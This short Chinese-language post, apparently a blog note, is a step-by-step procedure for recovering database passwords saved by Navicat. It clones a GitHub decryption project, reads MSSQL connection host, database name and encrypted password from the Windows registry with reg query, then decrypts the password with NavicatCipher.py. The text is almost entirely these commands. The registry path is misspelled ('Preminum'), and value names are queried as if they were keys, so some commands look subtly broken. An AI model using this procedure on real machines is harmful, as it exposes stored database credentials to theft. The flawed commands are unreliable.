前言
利用HyperSine/how-does-navicat-encrypt-password读取Navicat保存的数据库连接密码
下载项目
1 2
| git clone https://github.com/HyperSine/how-does-navicat-encrypt-password.git cd how-does-navicat-encrypt-password
|
探测是否存在Navicat
探测MSSQL
1
| reg query HKEY_CURRENT_USER\Software\Preminum\NavicatMSSQL\Servers\sqlserver
|
读取数据库连接配置
数据库IP地址
1
| reg query HKEY_CURRENT_USER\Software\Preminum\NavicatMSSQL\Servers\sqlserver\Host
|
数据库名
1
| reg query HKEY_CURRENT_USER\Software\Preminum\NavicatMSSQL\Servers\sqlserver\InitialDatabase
|
密文密码
1
| reg query HKEY_CURRENT_USER\Software\Preminum\NavicatMSSQL\Servers\sqlserver\Pwd
|
读取数据库连接密码
<password_encrypt>:密文密码
1
| python3 python3/NavicatCipher.py dec <password_encrypt>
|
完成